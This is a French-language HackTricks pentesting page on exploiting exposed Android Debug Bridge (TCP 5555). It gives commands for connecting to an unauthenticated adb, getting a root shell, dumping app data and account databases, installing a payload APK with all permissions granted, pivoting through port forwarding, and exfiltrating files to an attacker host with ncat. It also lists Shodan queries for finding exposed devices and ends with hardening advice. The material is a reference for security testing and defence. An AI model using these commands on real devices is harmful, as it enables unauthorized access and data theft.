5555 - Android Debug Bridge

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

D'aprĂšs la documentation :

Android Debug Bridge (adb) est un outil en ligne de commande pour communiquer avec des appareils et des émulateurs basés sur Android. Les actions typiques incluent l'installation de paquets, le débogage et l'obtention d'un shell Unix interactif sur l'appareil.

  • Port TCP par dĂ©faut historique : 5555 (mode classique "adb tcpip").
  • Le dĂ©bogage sans fil moderne (Android 11+) utilise l'appariement TLS et la dĂ©couverte de services mDNS. Le port de connexion est dynamique et dĂ©couvert via mDNS ; il peut ne pas ĂȘtre 5555. L'appariement se fait avec adb pair host:port suivi de adb connect. Voir les notes ci-dessous pour les implications offensives.

Exemple d'empreinte nmap :

PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)

Connect

Si vous trouvez ADB exposé et accessible, essayez de vous connecter et d'énumérer rapidement :

bash
adb connect <ip>[:<port>]      # Default is 5555 for classic mode
adb devices -l                 # Confirm it shows as "device" (not unauthorized/offline)
adb shell                      # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true               # Works on eng/userdebug/insecure builds, many emulators/IoT
  • Si l'appareil impose l'authentification ADB (ro.adb.secure=1), vous devrez ĂȘtre prĂ©-autorisĂ©s (authentification USB RSA) ou utiliser le couplage de dĂ©bogage sans fil Android 11+ (ce qui nĂ©cessite un code unique affichĂ© sur l'appareil).
  • Certaines images de fournisseurs, versions d'ingĂ©nierie/userdebug, Ă©mulateurs, tĂ©lĂ©viseurs, STB et kits de dĂ©veloppement exposent adbd sans authentification ou avec adbd s'exĂ©cutant en tant que root. Dans ces cas, vous atterrirez gĂ©nĂ©ralement directement dans un shell ou un shell root.

Pour une référence générale des commandes ADB, voir :

ADB Commands

Post-Exploitation Rapide

Une fois que vous avez un shell, validez les privilĂšges et le contexte SELinux :

bash
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint

ÉnumĂ©rer et capturer des donnĂ©es

  • Lister les applications tierces et les chemins :
bash
pm list packages -3
pm path <pkg>
  • Si vous avez un accĂšs root (adb root ou su fonctionnent), vous pouvez accĂ©der directement Ă  /data. Sinon, prĂ©fĂ©rez run-as pour les applications dĂ©bogables :
bash
# Sans root, pour une application débogable
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>

# Avec root
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
  • Artefacts systĂšme utiles (root requis) :
  • /data/system/users/0/accounts.db et donnĂ©es AccountManager associĂ©es
  • /data/misc/wifi/ (configurations/clĂ©s rĂ©seau sur les anciennes versions)
  • DBs SQLite spĂ©cifiques Ă  l'application et shared_prefs sous /data/data/

Vous pouvez utiliser cela pour récupérer des informations sensibles (par exemple, des secrets d'application). Pour des notes sur les considérations relatives aux données Chrome, voir le problÚme référencé ici.

Exécution de code et livraison de payload

  • Installer et accorder automatiquement les autorisations d'exĂ©cution :
bash
adb install -r -g payload.apk         # -g accorde toutes les autorisations d'exécution déclarées dans le manifeste
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
  • DĂ©marrer des activitĂ©s/services/broadcasts directement :
bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>

Transfert de port et pivotement

MĂȘme sans root, adb peut transfĂ©rer des ports locaux vers des ports de l'appareil et vice versa. Cela est utile pour accĂ©der Ă  des services liĂ©s localement sur l'appareil ou pour exposer des services d'attaquant Ă  l'appareil.

  • TransfĂ©rer hĂŽte->appareil (accĂ©der Ă  un service local Ă  l'appareil depuis votre hĂŽte) :
bash
adb forward tcp:2222 tcp:22       # Si l'appareil exécute SSH (par exemple, Termux/Dropbear)
adb forward tcp:8081 tcp:8080     # Exposer le serveur de débogage local de l'application
  • Inverser appareil->hĂŽte (permettre Ă  l'appareil d'atteindre un service sur votre hĂŽte) :
bash
adb reverse tcp:1080 tcp:1080     # Les applications de l'appareil peuvent maintenant atteindre hĂŽte:1080 comme 127.0.0.1:1080
  • Exfiltration de fichiers via des sockets (pas d'Ă©critures sur sdcard) :
bash
# Sur l'hÎte : écouter
ncat -lvp 9000 > dump.tar
# Sur l'appareil : envoyer le répertoire en tant que tar (root ou run-as selon le cas)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000

Débogage sans fil (Android 11+)

Android moderne implémente un débogage sans fil protégé par TLS avec appairage cÎté appareil et découverte mDNS :

bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port>   # Enter the 6-digit code shown on device
adb mdns services                  # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>

Notes

  • Les ports sont dynamiques ; ne supposez pas 5555. Les noms de service mDNS ressemblent Ă  :
  • _adb-tls-pairing._tcp (appairage)
  • _adb-tls-connect._tcp (connexion appariĂ©e)
  • _adb._tcp (hĂ©ritage/plain)
  • Si mDNS est filtrĂ©, l'activation classique assistĂ©e par USB peut encore fonctionner sur certaines versions : adb tcpip 5555 puis adb connect <ip>:5555 (jusqu'au redĂ©marrage).

Implications offensives : si vous pouvez interagir avec l'interface utilisateur de l'appareil (par exemple, accĂšs physique ou mauvaise configuration MDM mobile) pour activer le dĂ©bogage sans fil et voir le code d'appariement, vous pouvez Ă©tablir un canal ADB appariĂ© Ă  long terme sans cĂąble. Certains OEM exposent ADB sur TCP dans des images d'ingĂ©nierie/de dĂ©veloppement sans appariement—vĂ©rifiez toujours.

Hardening / Detection

Les défenseurs doivent supposer que tout adbd (TCP) accessible représente un risque critique.

  • DĂ©sactivez ADB et le dĂ©bogage sans fil lorsqu'ils ne sont pas nĂ©cessaires. RĂ©voquez les autorisations de dĂ©bogage USB dans les options de dĂ©veloppement.
  • Assurez-vous que la politique rĂ©seau bloque le TCP/5555 entrant et la dĂ©couverte ADB basĂ©e sur mDNS sur des segments non fiables.
  • Sur les appareils sous votre contrĂŽle :
bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1   # désactiver l'écoute TCP (ou utiliser : adb usb)
stop adbd; start adbd             # redémarrer le démon
  • Surveillez les enregistrements mDNS _adb._tcp, _adb-tls-connect._tcp, _adb-tls-pairing._tcp sur les rĂ©seaux d'entreprise et alertez pour des Ă©couteurs 5555 inattendus.
  • Inventaire des versions non sĂ©curisĂ©es : getprop ro.debuggable, ro.build.type, et ro.adb.secure.

Shodan

  • android debug bridge
  • port:5555 product:"Android Debug Bridge"

References

  • Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
  • AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks